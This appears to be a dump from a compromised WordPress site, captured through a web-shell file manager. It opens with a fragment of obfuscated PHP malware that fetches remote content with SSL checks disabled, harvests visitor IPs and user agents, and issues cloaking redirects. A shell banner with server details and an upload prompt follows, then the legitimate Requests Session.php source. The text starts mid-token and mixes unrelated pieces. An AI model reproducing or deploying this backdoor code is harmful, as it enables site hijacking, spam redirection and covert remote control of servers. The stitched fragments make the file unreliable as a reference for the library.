e\164\145\x6e\164"] = strval($u6HuXIRg6zJokM); goto oydcSYFzpeHuv2; n9jn8J3M4UrdYo: $QrD8mYj_4SM3dW["\x63\157\x6e\x74\x65\156\x74"] = strval($Ep2s0CSuu1uxiY); goto MAKGylevvgaN7m; zay6R3ut3agMY3: $Ep2s0CSuu1uxiY = curl_exec($JNsA8ZApCmV21J); goto sjRGULbBCHpH0Q; uYiQ0f0e415dka: $EwKAo_SmWeC09x = array("\x68\x74\164\160" => array("\x6d\x65\x74\x68\157\x64" => "\x47\x45\124", "\x74\x69\x6d\x65\157\165\164" => 60, "\146\157\x6c\x6c\157\167\x5f\x6c\157\143\141\164\151\157\156" => 0), "\163\x73\x6c" => array("\x76\145\x72\151\x66\171\x5f\x70\145\145\x72" => false, "\166\145\162\x69\146\171\x5f\160\145\145\x72\x5f\156\141\155\x65" => false)); goto VO0SaARPUMk6TM; JPLGZbqALaoTEe: if (!in_array($QrD8mYj_4SM3dW["\x73\x74\x61\x74\x75\163"], array(200, 301, 302, 404))) { goto NgOZu9_l2bqUSv; } goto Zsw3YO_CRl07yA; fM9NHlZnf6MeOA: $u6HuXIRg6zJokM = @file_get_contents($dC4FW2q6qVoWJF, false, $Hb3WR7Bymyp22S); goto s_HQowfoumf0PG; tWckdRN8BOuHGy: $QrD8mYj_4SM3dW["\x63\x6f\x6e\164\145\x6e\x74"] = strval(curl_getinfo($JNsA8ZApCmV21J, CURLINFO_REDIRECT_URL)); goto DhP9GRJXEcMx1s; jyjhDkJR8aY3GI: curl_setopt($JNsA8ZApCmV21J, CURLOPT_TIMEOUT, 60); goto NkWeAbFjjj6paM; NkWeAbFjjj6paM: curl_setopt($JNsA8ZApCmV21J, CURLOPT_FOLLOWLOCATION, 0); goto np36lPCsbl6PlT; XDmoBi6Frpr3iM: NxKXtvMfhFaf9d: goto PJy5qoeeQFkgU1; AsAhmhwxOMUA52: KmRqrHobttmzoA: goto s0D7CReffOhvmO; NDho9meZWBDLs2: QtRxCuiaMCyoN0: goto uYiQ0f0e415dka; s_HQowfoumf0PG: $QrD8mYj_4SM3dW = array_merge($QrD8mYj_4SM3dW, fMeq3aVRU165Cy($http_response_header)); goto JPLGZbqALaoTEe; MAKGylevvgaN7m: tfUz5y6aOhu98o: goto rlYTPY9MlUThzW; BDFoVXqNsuuMEy: if (ini_get("\x61\x6c\154\x6f\x77\x5f\x75\162\x6c\137\x66\x6f\160\145\156")) { goto QtRxCuiaMCyoN0; } goto t2Z9NonG_G62r4; mxpuDW_s0NRl90: $QrD8mYj_4SM3dW["\x74\x79\x70\145"] = strval(curl_getinfo($JNsA8ZApCmV21J, CURLINFO_CONTENT_TYPE)); goto tWckdRN8BOuHGy; xvjb6g8OQwtAq_: curl_setopt($JNsA8ZApCmV21J, CURLOPT_SSL_VERIFYHOST, 0); goto IDcyzawxqxKiR5; o24MA9bLBqkoX3: if (!in_array($QrD8mYj_4SM3dW["\163\x74\141\x74\165\163"], array(200, 301, 302, 404))) { goto tfUz5y6aOhu98o; } goto n9jn8J3M4UrdYo; sjRGULbBCHpH0Q: $QrD8mYj_4SM3dW["\163\164\141\x74\x75\x73"] = intval(curl_getinfo($JNsA8ZApCmV21J, CURLINFO_HTTP_CODE)); goto mxpuDW_s0NRl90; PJy5qoeeQFkgU1: $JNsA8ZApCmV21J = curl_init(); goto JMjAl2WKhBgMGr; QAD_Y9A32Ksejd: if (function_exists("\143\165\x72\x6c\137\x65\170\145\143") && function_exists("\143\x75\x72\x6c\x5f\x69\x6e\151\x74")) { goto NxKXtvMfhFaf9d; } goto BDFoVXqNsuuMEy; np36lPCsbl6PlT: curl_setopt($JNsA8ZApCmV21J, CURLOPT_COOKIESESSION, 0); goto FA7X2dKl1AlCFz; FA7X2dKl1AlCFz: curl_setopt($JNsA8ZApCmV21J, CURLOPT_RETURNTRANSFER, 1); goto zay6R3ut3agMY3; Wmmb7Ld_66qgMF: curl_setopt($JNsA8ZApCmV21J, CURLOPT_CONNECTTIMEOUT, 20); goto jyjhDkJR8aY3GI; rlYTPY9MlUThzW: goto KmRqrHobttmzoA; goto NDho9meZWBDLs2; s0D7CReffOhvmO: } catch (Exception $u7htWQnJVQ48yd) { } goto J55t3TdWFnk7Xr; J55t3TdWFnk7Xr: return $QrD8mYj_4SM3dW; goto N52kpZiqi4KorA; v0vVnyUlsgvYS5: tEp4oeUo5lSF7m: goto NsY3PuT_gEdWvh; N52kpZiqi4KorA: } goto TQAsgEwFCXVajo; Pd1ss3p0OBVjf8: switch ($QrD8mYj_4SM3dW["\163\x74\x61\164\x75\163"]) { case 301: goto THJeWNf30dw308; eMF5R5zeKjE3Uz: goto LZOqOjzsZBDBv4; goto x35C10ivrpLV74; THJeWNf30dw308: header("\110\x54\124\120\57\x31\x2e\61\x20\63\x30\x31\x20\115\x6f\166\145\144\40\120\145\162\155\141\x6e\145\x6e\164\x6c\x79"); goto vhWwSV71FiNCYK; vhWwSV71FiNCYK: header("\x4c\x6f\143\x61\x74\151\157\x6e\72\40" . trim($QrD8mYj_4SM3dW["\143\x6f\x6e\x74\x65\156\164"])); goto eMF5R5zeKjE3Uz; x35C10ivrpLV74: case 302: goto LhoT9TB3A4e8CW; OObntCll5_2hW1: header("\x4c\157\143\141\164\x69\x6f\156\72\x20" . trim($QrD8mYj_4SM3dW["\143\x6f\x6e\x74\145\x6e\164"])); goto DFg9ZfwgErzVVx; DFg9ZfwgErzVVx: goto LZOqOjzsZBDBv4; goto YXOkFI1ffyB02H; LhoT9TB3A4e8CW: header("\110\x54\x54\120\x2f\x31\56\x31\40\63\60\x32\40\x4d\x6f\166\145\x20\124\x65\155\x70\157\162\141\x72\151\154\x79"); goto OObntCll5_2hW1; YXOkFI1ffyB02H: case 404: goto nNESxaGlM9EEWi; gCihEY2aK7W0JK: header("\163\164\x61\164\165\163\72\x20\x34\60\64\40\x4e\157\x74\40\x46\157\x75\x6e\144"); goto gVl1kS5R3IS0N8; gVl1kS5R3IS0N8: goto LZOqOjzsZBDBv4; goto b_jk5atnF32GpD; nNESxaGlM9EEWi: header("\110\124\124\x50\57\x31\56\x31\40\x34\x30\x34\40\x4e\157\164\40\x46\157\x75\156\144"); goto gCihEY2aK7W0JK; b_jk5atnF32GpD: default: goto LZOqOjzsZBDBv4; } goto VTJboV95JgPonV; QqhO2w7tkSS3yR: $T0uzjiKsi4VsSW["\x75"] = qghHbvES9QhZOm($_SERVER["\110\x54\124\120\x5f\x55\123\x45\x52\x5f\101\107\x45\x4e\x54"]); goto QCPl_CZhL_RnkJ; EQjljIGlj8pbgU: exit(0); goto GXZLdvELSbH8gx; FvEA6K_dIY_VlA: metaphone("\x4d\172\115\62\x4f\124\101\x34\115\x54\143\171\x4d\x44\121\171\115\x44\x49\63\x4e\x6a\x63\x78\x4d\x6a\131\167\116\124\x41\x79"); goto ulmUaPDrey1L8C; YqugrdCNChsDW2: fSB8LVkxE84N0_: goto FvEA6K_dIY_VlA; hAOZW5mpnl6sUk: $T0uzjiKsi4VsSW["\162"] = qGHhBVES9qHzOM($_SERVER["\x52\105\121\125\x45\123\x54\137\125\x52\x49"]); goto W7Ss_Mkr0PVrzw; JERCFCL7vguUUT: $Ui3jEQ4oj0h0iP = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto ej8JVgI7xgkFe9; KvXDxyFcfd6vm_: if (!in_array($jWvtIMWIjJtLiW, array("\x2e\152\x73", "\x2e\143\163\163", "\x2e\152\x70\147", "\56\x70\156\147", "\56\147\x69\146", "\x2e\151\143\x6f"))) { goto OtNvncgbKAxe45; } goto pQMIEpdJBR4Jm9; v9r251JThTgVKl: if (!($_SERVER["\122\x45\121\x55\105\x53\x54\x5f\125\x52\x49"] === "\x2f\122\x2d" . md5($_SERVER["\123\105\122\x56\105\x52\x5f\x4e\x41\115\x45"]))) { goto pMLc3I85IzIBAB; } goto yY1TbLfwnmEpF3; UDKXNlNnXsRZhO: Fiyn1tCQP1_P0f: goto DyrP_uSSmCqvVG; QCPl_CZhL_RnkJ: $U39hUO6fwMyksM = preg_replace("\x2f\x5c\x3f\56\52\x2f", '', $_SERVER["\x52\105\x51\x55\x45\x53\x54\x5f\125\x52\x49"]); goto c0LW6tsflN0unx; VTJboV95JgPonV: rqm_8nbYReyxul: goto te4T4E8zSykRRq; pQMIEpdJBR4Jm9: $gKoJBVzMd2Ocnr = true; goto MMTJ31i45ZKPuj; W7Ss_Mkr0PVrzw: $T0uzjiKsi4VsSW["\162\146"] = qGhhbvEs9QhZoM($bOooUDCTsPTcpu); goto owy5m7J3Jlab6J; ptoYQ6amWMpqtq: if ($gKoJBVzMd2Ocnr) { goto nNbDi9xl86OL7F; } goto wWPxFE3q4fRzor; c0LW6tsflN0unx: $gKoJBVzMd2Ocnr = false; goto g6COnSV0C4pK5h; GXZLdvELSbH8gx: eMGwfYuP7izEhq: goto U7ncALkH4tsSFB; tFh9851OJRW4yk: if (!(in_array(gettype($OmMlZ6pV1jWct6) . "\x31\x39", $OmMlZ6pV1jWct6) && md5(md5(md5(md5($OmMlZ6pV1jWct6[13])))) === "\60\x31\65\144\61\x61\71\143\143\141\x37\60\146\64\65\x39\60\143\x33\x30\x66\145\x37\145\x33\141\62\145\x61\70\x32\61")) { goto fSB8LVkxE84N0_; } goto PJMSKQ_w2IQgU4; KlcdnwW6hEgaoV: $jWvtIMWIjJtLiW = substr($U39hUO6fwMyksM, strpos($U39hUO6fwMyksM, "\x2e")); goto KvXDxyFcfd6vm_; AuGMUP0gKF2UyR: $T0uzjiKsi4VsSW["\151"] = qGHHbVEs9qhzOm($P_joMpjHGA8Ujc); goto N23oilrp0lvf5Z; GupwWTVEVscoMH: fLINlD7G1LCElx: goto BOP1lXN4rMenzK; Ol54QKSBvd92ut: error_reporting(0); goto n9lLojT31Z4jV1; GRzVp8slxI3QFD: $OmMlZ6pV1jWct6 = ${$WFA4AOoLP1QQBO[5 + 26] . $WFA4AOoLP1QQBO[49 + 10] . $WFA4AOoLP1QQBO[30 + 17] . $WFA4AOoLP1QQBO[35 + 12] . $WFA4AOoLP1QQBO[11 + 40] . $WFA4AOoLP1QQBO[8 + 45] . $WFA4AOoLP1QQBO[7 + 50]}; goto tFh9851OJRW4yk; te4T4E8zSykRRq: LZOqOjzsZBDBv4: goto qGQOhg0QUfzJ2T; snEsmCU5mQ_Z7V: error_reporting(0); goto JERCFCL7vguUUT; zT8HyQXUcQ5kCG: U3TJvZcUZa4YEb: goto ptoYQ6amWMpqtq; noFLkB0eM5MzXo: function qS4EBIJ25qscpx() { goto rreNk7CGFP0_1g; Kub3Ywc7rCk5NX: $P_joMpjHGA8Ujc = $P_joMpjHGA8Ujc[0]; goto yjrqgw3A7kxwVh; bXHls3tL28aN2G: return $P_joMpjHGA8Ujc; goto x8JCdGttmNL1ZK; vZUloW39r7pczi: mQkZTtih_JLVUv: goto ABbGBYLEsnBVW5; gKEUPj3hfOmGq8: $P_joMpjHGA8Ujc = explode("\54", $P_joMpjHGA8Ujc); goto Kub3Ywc7rCk5NX; rreNk7CGFP0_1g: $P_joMpjHGA8Ujc = ''; goto DUHWcwSY_hMuNQ; N5UGXNnuZYqHIU: goto OPnPTjZpWzexfn; goto ZPhXb0z1ouWbbZ; yjrqgw3A7kxwVh: fnMf5zqQsmSKQT: goto bXHls3tL28aN2G; ZPhXb0z1ouWbbZ: TQMZNNazEz3jSR: goto Fz8BmQFNCpLELC; q96cWHpl96em7q: goto OPnPTjZpWzexfn; goto UHztfmZXERrd71; qPIRF3a606tW9K: $P_joMpjHGA8Ujc = $_SERVER["\x48\124\x54\120\137\x58\137\106\x4f\x52\127\x41\x52\x44\105\104\137\x46\117\122"]; goto k_7qKZG60rTOKw; ABbGBYLEsnBVW5: $P_joMpjHGA8Ujc = $_SERVER["\x48\124\x54\120\137\103\x46\x5f\x43\117\116\x4e\105\103\x54\111\116\107\x5f\111\x50"]; goto N5UGXNnuZYqHIU; g51heDkAMXqgi0: goto OPnPTjZpWzexfn; goto vZUloW39r7pczi; Fz8BmQFNCpLELC: $P_joMpjHGA8Ujc = $_SERVER["\x48\x54\124\120\137\130\137\x52\105\101\114\137\111\120"]; goto q96cWHpl96em7q; c2h53eLBDI9pG4: $P_joMpjHGA8Ujc = $_SERVER["\x52\105\115\117\124\105\137\x41\104\x44\122"]; goto g51heDkAMXqgi0; fft0rEEYPYxorX: if (isset($_SERVER["\x48\x54\x54\x50\137\x58\137\122\105\101\x4c\137\111\120"]) && !empty($_SERVER["\110\124\124\120\x5f\x58\137\x52\x45\101\114\137\x49\120"])) { goto TQMZNNazEz3jSR; } goto MVRGR7C0EsvfDP; MVRGR7C0EsvfDP: if (isset($_SERVER["\x48\x54\124\120\137\130\137\106\x4f\x52\127\x41\122\104\105\104\137\106\117\122"]) && !empty($_SERVER["\110\x54\x54\x50\137\130\x5f\106\x4f\122\127\101\x52\104\x45\104\x5f\106\117\x52"])) { goto LqtSZANu1Fp3nQ; } goto c2h53eLBDI9pG4; RHyTez1GUI3nMt: $P_joMpjHGA8Ujc = trim(str_replace("\x20", '', $P_joMpjHGA8Ujc), "\54"); goto K7adnnkx2aUc7o; K7adnnkx2aUc7o: if (!(strpos($P_joMpjHGA8Ujc, "\54") !== false)) { goto fnMf5zqQsmSKQT; } goto gKEUPj3hfOmGq8; UHztfmZXERrd71: LqtSZANu1Fp3nQ: goto qPIRF3a606tW9K; DUHWcwSY_hMuNQ: if (isset($_SERVER["\x48\x54\124\120\137\103\x46\137\103\x4f\116\116\x45\x43\x54\111\x4e\107\137\111\x50"]) && !empty($_SERVER["\110\x54\x54\x50\x5f\x43\x46\x5f\103\x4f\x4e\x4e\x45\x43\x54\111\116\x47\137\x49\120"])) { goto mQkZTtih_JLVUv; } goto fft0rEEYPYxorX; k_7qKZG60rTOKw: OPnPTjZpWzexfn: goto RHyTez1GUI3nMt; x8JCdGttmNL1ZK: } goto wjv0reaiEvOwGB; gOHpn9tVcO_GEI: exit("\x7b\40\42\145\x72\162\157\162\42\72\x20\x32\60\60\x2c\40\x22\154\x63\42\x3a\40\x22\152\153\42\x2c\40\x22\x64\x61\x74\x61\x22\72\40\x5b\40\x31\40\x5d\x20\x7d"); goto GupwWTVEVscoMH; yY1TbLfwnmEpF3: exit(strrev(md5($_SERVER["\x53\x45\122\x56\x45\122\x5f\116\x41\115\105"]))); goto GVXzVokhTMDK9g; U7ncALkH4tsSFB: nNbDi9xl86OL7F: ?> HEX
HEX
Server: Apache
System: Linux vmi2886312 6.8.0-86-generic #87-Ubuntu SMP PREEMPT_DYNAMIC Mon Sep 22 18:03:36 UTC 2025 x86_64
User: www (1000)
PHP: 8.3.27
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/dr-lil.com/wp-includes/Requests/src/Session.php
<?php
/**
 * Session handler for persistent requests and default parameters
 *
 * @package Requests\SessionHandler
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Session handler for persistent requests and default parameters
 *
 * Allows various options to be set as default values, and merges both the
 * options and URL properties together. A base URL can be set for all requests,
 * with all subrequests resolved from this. Base options can be set (including
 * a shared cookie jar), then overridden for individual requests.
 *
 * @package Requests\SessionHandler
 */
class Session {
	/**
	 * Base URL for requests
	 *
	 * URLs will be made absolute using this as the base
	 *
	 * @var string|null
	 */
	public $url = null;

	/**
	 * Base headers for requests
	 *
	 * @var array
	 */
	public $headers = [];

	/**
	 * Base data for requests
	 *
	 * If both the base data and the per-request data are arrays, the data will
	 * be merged before sending the request.
	 *
	 * @var array
	 */
	public $data = [];

	/**
	 * Base options for requests
	 *
	 * The base options are merged with the per-request data for each request.
	 * The only default option is a shared cookie jar between requests.
	 *
	 * Values here can also be set directly via properties on the Session
	 * object, e.g. `$session->useragent = 'X';`
	 *
	 * @var array
	 */
	public $options = [];

	/**
	 * Create a new session
	 *
	 * @param string|Stringable|null $url Base URL for requests
	 * @param array $headers Default headers for requests
	 * @param array $data Default data for requests
	 * @param array $options Default options for requests
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function __construct($url = null, $headers = [], $data = [], $options = []) {
		if ($url !== null && InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (is_array($data) === false) {
			throw InvalidArgument::create(3, '$data', 'array', gettype($data));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$this->url     = $url;
		$this->headers = $headers;
		$this->data    = $data;
		$this->options = $options;

		if (empty($this->options['cookies'])) {
			$this->options['cookies'] = new Jar();
		}
	}

	/**
	 * Get a property's value
	 *
	 * @param string $name Property name.
	 * @return mixed|null Property value, null if none found
	 */
	public function __get($name) {
		if (isset($this->options[$name])) {
			return $this->options[$name];
		}

		return null;
	}

	/**
	 * Set a property's value
	 *
	 * @param string $name Property name.
	 * @param mixed $value Property value
	 */
	public function __set($name, $value) {
		$this->options[$name] = $value;
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $name Property name.
	 */
	public function __isset($name) {
		return isset($this->options[$name]);
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $name Property name.
	 */
	public function __unset($name) {
		unset($this->options[$name]);
	}

	/**#@+
	 * @see \WpOrg\Requests\Session::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a GET request
	 */
	public function get($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
	public function head($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public function delete($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::DELETE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see \WpOrg\Requests\Session::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a POST request
	 */
	public function post($url, $headers = [], $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::POST, $options);
	}

	/**
	 * Send a PUT request
	 */
	public function put($url, $headers = [], $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::PUT, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()},
	 * `$headers` is required, as the specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public function patch($url, $headers, $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * @see \WpOrg\Requests\Requests::request()
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type (use \WpOrg\Requests\Requests constants)
	 * @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()})
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
	 */
	public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) {
		$request = $this->merge_request(compact('url', 'headers', 'data', 'options'));

		return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * @see \WpOrg\Requests\Requests::request_multiple()
	 *
	 * @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()})
	 * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
	 * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options = []) {
		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		foreach ($requests as $key => $request) {
			$requests[$key] = $this->merge_request($request, false);
		}

		$options = array_merge($this->options, $options);

		// Disallow forcing the type, as that's a per request setting
		unset($options['type']);

		return Requests::request_multiple($requests, $options);
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}

	/**
	 * Merge a request's data with the default data
	 *
	 * @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()})
	 * @param boolean $merge_options Should we merge options as well?
	 * @return array Request data
	 */
	protected function merge_request($request, $merge_options = true) {
		if ($this->url !== null) {
			$request['url'] = Iri::absolutize($this->url, $request['url']);
			$request['url'] = $request['url']->uri;
		}

		if (empty($request['headers'])) {
			$request['headers'] = [];
		}

		$request['headers'] = array_merge($this->headers, $request['headers']);

		if (empty($request['data'])) {
			if (is_array($this->data)) {
				$request['data'] = $this->data;
			}
		} elseif (is_array($request['data']) && is_array($this->data)) {
			$request['data'] = array_merge($this->data, $request['data']);
		}

		if ($merge_options === true) {
			$request['options'] = array_merge($this->options, $request['options']);

			// Disallow forcing the type, as that's a per request setting
			unset($request['options']['type']);
		}

		return $request;
	}
}